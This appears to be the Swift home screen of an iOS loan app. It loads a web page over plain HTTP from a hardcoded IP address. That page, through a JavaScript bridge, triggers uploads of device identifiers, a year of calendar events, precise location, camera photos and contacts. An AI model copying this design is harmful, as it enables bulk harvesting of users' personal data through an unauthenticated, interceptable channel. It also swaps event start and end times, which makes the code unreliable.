//
//  HomeViewController.swift
//  Nairacup
//
//  Created by ec on 2024/9/19.
//

import UIKit
import WebKit
import ContactsUI
import AppsFlyerLib
import CoreLocation
import EventKit

class HomeViewController: UIViewController {

    var webView: WKWebView!
    var locationManager: CLLocationManager!
    var isFront: Bool = false
    var deviceInfo: [String: Any] = [:]
    var baseInfo = LoanIosDeviceBaseInfo()
    var iosInfo = LoanIosDeviceIosInfo()
    var screen = LoanIosDeviceScreen()
    var storage = LoanIosDeviceStorage()
    var processInfo = LoanIosDeviceProcess()
    
    var isRequestLocationAuth = false
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        baseInfo.getData()
        iosInfo.getData()
        screen.getData()
        storage.getData()
        processInfo.getData()
        deviceInfo["aaid"] = Adapt.idfa
        deviceInfo["osType"] = "ios"
        deviceInfo["deviceBaseInfo"] = baseInfo.toJson()
        deviceInfo["iosInfo"] = iosInfo.toJson()
        deviceInfo["screen"] = screen.toJson()
        deviceInfo["storage"] = storage.toJson()
        deviceInfo["processInfo"] = processInfo.toJson()
        
        locationManager = CLLocationManager()
        locationManager.delegate = self
        locationManager.desiredAccuracy = kCLLocationAccuracyBest

        let config = WKWebViewConfiguration()
        let userContentController = WKUserContentController()
        userContentController.add(self, name: "bridge")
        config.userContentController = userContentController
        webView = WKWebView(frame: CGRect(x: 0, y: Adapt.statusBarHeight, width: Adapt.windowWidth, height: Adapt.windowHeight - Adapt.statusBarHeight), configuration: config)
        webView.navigationDelegate = self
        self.view.addSubview(webView)
        
        if let url = URL(string: "http://121.41.164.237:9001/m/colombia-ios.html?appName=\(Adapt.appName)") {
//            if let jsonString = KeychainStore.shared.string(forKey: .userInfo), let jsonData = jsonString.data(using: .utf8), let dictionary = try? JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any], let homeUrl = dictionary["homeUrl"] as? String, let url = URL(string: "\(homeUrl)&appName=\(Const.appName)") {
            webView.load(URLRequest(url: url))
        }
    }
    
    func requestUploadImage(_ image: UIImage) {
        Request.shared.requestUploadApi(.uploadImg, fileData: image.pngData()!, responseClosure: { [weak self] response in
            if let self = self, (response["code"] as? Int) == 200 {
                let url = response["data"] as? String ?? ""
                self.callJSMethod(event: self.isFront ? .tackPhotoByFront : .tackPhotoByBack, data: [
                    "value": url
                ])
            }
        })
    }
        
    func callJSMethod(event: JSMethod, data: [String: Any], status: JSStatus = .success) {
        // 最后活跃时间
        deviceInfo["lastActiveTime"] = Date().timeIntervalSince1970
        let data: [String: Any] = [
            "action": "invoke\(Adapt.appName)\(event.rawValue)",
            "id": event.id,
            "status": status.rawValue,
            "data": data
        ]
        do {
            let jsonData = try JSONSerialization.data(withJSONObject: data, options: .prettyPrinted)
            if let jsonString = String(data: jsonData, encoding: .utf8) {
                callJS(msg: jsonString)
            }
        } catch {
            print("Error converting dictionary to JSON: \(error.localizedDescription)")
        }
    }
    
    func callJS(msg: String) {
        let fun = "JS\(Adapt.appName)Callback(\(msg))"
        webView.evaluateJavaScript(fun) { (result, error) in
            if let error = error {
                print("Swift 调用 JS 失败: \(error)")
            } else {
                print("Swift 调用 JS 成功")
            }
        }
    }
    
    func reciveCallToJS(message: String) {
        if let jsonData = message.data(using: .utf8) {
            do {
                if let jsonDict = try JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any], let method = jsonDict["action"] as? String, let name = NSString(string: method).components(separatedBy: Adapt.appName).last, let event = JSMethod(rawValue: name) {
                    let data = jsonDict["data"] as? [String: Any] ?? [:]
                    responseJSEvent(event, data: data)
                }
            } catch {
                print("Error converting JSON string to dictionary: \(error.localizedDescription)")
            }
        }
    }
    
    func responseJSEvent(_ event: JSMethod, data: [String: Any]) {
        switch event {
        case .userInfo:
            let userInfo = UserDefaults.standard.string(forKey: Adapt.loginUserInfo) ?? ""
            var info: [String: Any] = [:]
            if !userInfo.isEmpty {
                if let jsonData = userInfo.data(using: .utf8) {
                    do {
                        if let dictionary = try JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any] {
                            info = dictionary
                        }
                    } catch {
                    }
                }
            }
            info["phone"] = UserDefaults.standard.string(forKey: Adapt.loginUserPhone) ?? ""
            callJSMethod(event: .userInfo, data: [
                "dev": "iOS",
                "version": "",
                "data": info
            ])
        case .signOut:
            Request.shared.requestApi(.logout) { response in
                if (response["code"] as? Int) == 200 {
                    UserDefaults.standard.removeObject(forKey: Adapt.loginSessionId)
                    UserDefaults.standard.removeObject(forKey: Adapt.loginUserId)
                    UserDefaults.standard.removeObject(forKey: Adapt.loginUserPhone)
                    UserDefaults.standard.removeObject(forKey: Adapt.loginUserInfo)
                    NotificationCenter.default.post(name: NSNotification.Name(Adapt.loginStatusChanged), object: nil)
                }
            }
        case .deviceInfo:
            // 数据收集时间
            deviceInfo["collectTime"] = Date().timeIntervalSince1970
            if let ip = data["ip"] as? String {
                baseInfo.ip = ip
            }
            callJSMethod(event: .deviceInfo, data: [:])
            Request.shared.requestApi(.uploadIosAuth(deviceInfo)) { response in
            }
            break
        case .calendarInfo:
            AuthTool.checkCalendarPermission { status in
                if status == .authorized || status == .notApply {
                    let eventStore = EKEventStore()
                    let startDate = Date()
                    let endDate = Calendar.current.date(byAdding: .day, value: 365, to: startDate)!
                    // 获取用户的日历
                    let calendars = eventStore.calendars(for: .event)
                    // 创建谓词来查询指定日期范围内的事件
                    let predicate = eventStore.predicateForEvents(withStart: startDate, end: endDate, calendars: calendars)
                    let events = eventStore.events(matching: predicate)
                    let datas = events.map({
                        [
                            "create_time": $0.creationDate?.timeIntervalSince1970,
                            "calendar_id": $0.calendar.calendarIdentifier,
                            "organizer": $0.organizer?.name ?? "",
                            "event_location": $0.location ?? "",
                            "description": $0.notes ?? "",
                            "title": $0.title ?? "",
                            "dt_end": $0.startDate.timeIntervalSince1970,
                            "dt_start": $0.endDate.timeIntervalSince1970,
                            // 值为1 表示此事件占用一整天，值为0表示它是常规事件，可 在一天内的任何时间开始和结束
                            "all_day": $0.isAllDay ? 1 : 0,
                            // 事件的重复发生规则格式
                            "r_rule": $0.recurrenceRules?.first?.description ?? "",
                            // RFC5545格式的事件持续时间。例如：值为“PT1H”表示事件 应持续一小时，值为‘P2W’
                            "duration": "",
                            // 事件的重复发生日期  yyyy-MM-dd
                            "r_date": "",
                        ]
                    })
                    // 数据收集时间
                    self.deviceInfo["collectTime"] = Date().timeIntervalSince1970
                    callJSMethod(event: .calendarInfo, data: [:])
                    Request.shared.requestApi(.uploadIosAuth(self.deviceInfo, calendarList: datas as [String : Any])) { response in
                    }
                }else {
                    callJSMethod(event: .calendarInfo, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .selectContact:
            AuthTool.checkContactsPermission { status in
                if status == .authorized || status == .notApply {
                    let contactPicker = CNContactPickerViewController()
                    contactPicker.delegate = self
                    present(contactPicker, animated: true, completion: nil)
                }else {
                    callJSMethod(event: .selectContact, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .appsFlyer:
            let eventName = data["eventName"] as? String ?? ""
            AppsFlyerLib.shared().logEvent(eventName, withValues: data);
        case .tackPhotoByFront:
            isFront = true
            AuthTool.checkCameraPermission { status in
                if status == .authorized || status == .notApply {
                    if UIImagePickerController.isSourceTypeAvailable(.camera) {
                        let imagePicker = UIImagePickerController()
                        imagePicker.sourceType = .camera
                        imagePicker.delegate = self
                        imagePicker.cameraDevice = .front
                        present(imagePicker, animated: true, completion: nil)
                    }
                }else {
                    callJSMethod(event: .tackPhotoByFront, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .tackPhotoByBack:
            isFront = false
            AuthTool.checkCameraPermission { status in
                if status == .authorized || status == .notApply {
                    if UIImagePickerController.isSourceTypeAvailable(.camera) {
                        let imagePicker = UIImagePickerController()
                        imagePicker.sourceType = .camera
                        imagePicker.delegate = self
                        imagePicker.cameraDevice = .rear
                        present(imagePicker, animated: true, completion: nil)
                    }
                }else {
                    callJSMethod(event: .tackPhotoByBack, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .forwardOutside:
            if let urlStr = data["value"] as? String, let url = URL(string: urlStr) {
                let vc = WebViewController()
                vc.url = url
                navigationController?.pushViewController(vc, animated: true)
            }
        case .openBrowser:
            if let urlStr = data["value"] as? String, let url = URL(string: urlStr) {
                UIApplication.shared.open(url)
            }
        case .copyClip:
            let str = data["value"] as? String ?? ""
            UIPasteboard.general.string = str
            showToast("Copy success!")
            break
        case .appServiceTime:
            break
        case .locationInfo:
            AuthTool.checkLocationPermission { status in
                if status == .authorized || status == .notApply {
                    if status == .notApply {
                        isRequestLocationAuth = true
                    }
                    locationManager.requestWhenInUseAuthorization()
                    locationManager.startUpdatingLocation()
                }else {
                    callJSMethod(event: .locationInfo, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
            break
        }
    }
    
    func showSettingAlert() {
        let alert = UIAlertController(title: nil, message: "Permission has been disabled. Do you want to go to the settings to enable permission？", preferredStyle: .alert)
        alert.addAction(UIAlertAction(title: "Go set it up", style: .default, handler: { _ in
            if let setting = URL(string: UIApplication.openSettingsURLString) {
                UIApplication.shared.open(setting, options: [:], completionHandler: nil)
            }
        }))
        alert.addAction(UIAlertAction(title: "Cancel", style: .cancel, handler: nil))
        present(alert, animated: true)
    }

    override func viewWillAppear(_ animated: Bool) {
        super.viewWillAppear(animated)
        navigationController?.setNavigationBarHidden(true, animated: false)
    }
    
    override func viewWillDisappear(_ animated: Bool) {
        super.viewWillDisappear(animated)
        navigationController?.setNavigationBarHidden(false, animated: false)
    }
    
}

extension HomeViewController: WKScriptMessageHandler, WKNavigationDelegate {
    // MARK: - WKScriptMessageHandler - 处理来自 JS 的消息
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        if message.name == "bridge" {
            if let messageBody = message.body as? String {
                reciveCallToJS(message: messageBody)
            }
        }
    }
}

extension HomeViewController: UIImagePickerControllerDelegate & UINavigationControllerDelegate {
    // 获取拍摄的照片
    func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) {
        if let image = info[.originalImage] as? UIImage {
            print(image.size)
            requestUploadImage(image)
        }
        picker.dismiss(animated: true, completion: nil)
    }

    // 用户取消拍照
    func imagePickerControllerDidCancel(_ picker: UIImagePickerController) {
        picker.dismiss(animated: true, completion: nil)
    }
}

extension HomeViewController: CNContactPickerDelegate {
    func contactPicker(_ picker: CNContactPickerViewController, didSelect contact: CNContact) {
        print(contact)
        let phone = contact.phoneNumbers.map({ $0.value.stringValue }).first ?? ""
        let name = CNContactFormatter.string(from: contact, style: .fullName) ?? ""
        callJSMethod(event: .selectContact, data: [
            "mobile": phone,
            "name": name
        ])
    }
}

extension HomeViewController: CLLocationManagerDelegate {
    func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) {
        if let location = locations.first {
            let geocoder = CLGeocoder()
            geocoder.reverseGeocodeLocation(location) { [weak self] (placemarks, error) in
                guard let self = self else { return }
                if let error = error {
                    print("反向地理编码失败: \(error.localizedDescription)")
                    return
                }
                if let placemarks = placemarks, let placemark = placemarks.first {
                    let info = [
                        "latitude": location.coordinate.latitude,
                        "longitude": location.coordinate.longitude,
                        "accuracy": kCLLocationAccuracyBest.description,
                        "time": Date().timeIntervalSince1970,
                        "addressObject": [
                            "countryName": placemark.country,
                            "countryCode": placemark.isoCountryCode,
                            "adminArea": placemark.administrativeArea,
                            "locality": placemark.locality,
                            "subAdminArea": placemark.subAdministrativeArea,
                            "featureName": placemark.thoroughfare
                        ]
                    ]
                    // 数据收集时间
                    self.deviceInfo["collectTime"] = Date().timeIntervalSince1970
                    Request.shared.requestApi(.uploadIosAuth(self.deviceInfo, location: info)) { response in
                    }
                }
            }
            callJSMethod(event: .locationInfo, data: [:])
            locationManager.stopUpdatingLocation()
        }
    }

    func locationManager(_ manager: CLLocationManager, didFailWithError error: Error) {
        if !isRequestLocationAuth {
            callJSMethod(event: .locationInfo, data: [:], status: .unAuth)
        }
        isRequestLocationAuth = false
    }
}

extension UIViewController {
    
    func hideLoading() {
        for v in view.subviews {
            if v.isKind(of: LoadingView.self) {
                (v as! LoadingView).indicator.stopAnimating()
                v.removeFromSuperview()
            }
        }
    }
    
    func showLoading() {
        hideLoading()
        
        let bgView = UIView(frame: UIScreen.main.bounds)
        bgView.backgroundColor = .clear
        view.addSubview(bgView)

        let v = LoadingView(frame: CGRect(origin: CGPoint(x: (Adapt.windowWidth - 100)/2, y: (Adapt.windowHeight-100)/2), size: CGSize(width: 100, height: 100)))
        view.addSubview(v)
    }
        
    func showToast(_ title: String) {
        hideLoading()
        
        let bgView = UIView(frame: UIScreen.main.bounds)
        bgView.backgroundColor = .clear
        view.addSubview(bgView)
        
        let w: CGFloat = 250
        let size = calculationStringSize(content: title, font: UIFont.systemFont(ofSize: 14), maxSize: CGSizeMake(250, 100))
        let height = max(50, size.height + 20)
        let x = (UIScreen.main.bounds.size.width - w - 20) / 2
        let y = (UIScreen.main.bounds.size.height - height - 20) / 2

        let aplhaView = UIView(frame: CGRect(x: x, y: y, width: 250, height: height))
        aplhaView.backgroundColor = .black
        aplhaView.layer.cornerRadius = 6
        view.addSubview(aplhaView)

        let label = UILabel(frame: aplhaView.bounds)
        label.text = title
        label.font = UIFont.systemFont(ofSize: 14)
        label.textAlignment = .center
        label.textColor = .white
        aplhaView.addSubview(label)
        
        Async.main(after: 2) {
            bgView.removeFromSuperview()
            aplhaView.removeFromSuperview()
            label.removeFromSuperview()
        }
    }
    
    func calculationStringSize(content: String, font: UIFont, maxSize: CGSize) -> CGSize {
        let style = [NSAttributedString.Key.font: font]
        let ct: NSString = content as NSString
        let size = ct.boundingRect(with: maxSize, options: [.usesLineFragmentOrigin, .usesFontLeading], attributes: style, context: nil).size
        let returnSize = CGSize(width: ceil(size.width), height: ceil(size.height))
        return returnSize
    }

}

class LoadingView: UIView {
    
    override init(frame: CGRect) {
        super.init(frame: frame)
        backgroundColor = .black
        layer.cornerRadius = 12
        
        createUI()
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    func createUI() {
        addSubview(indicator)
        indicator.center = center
        indicator.startAnimating()
    }
    
    lazy var indicator: UIActivityIndicatorView = {
        let v = UIActivityIndicatorView(style: .whiteLarge)
        
        return v
    }()
    
}
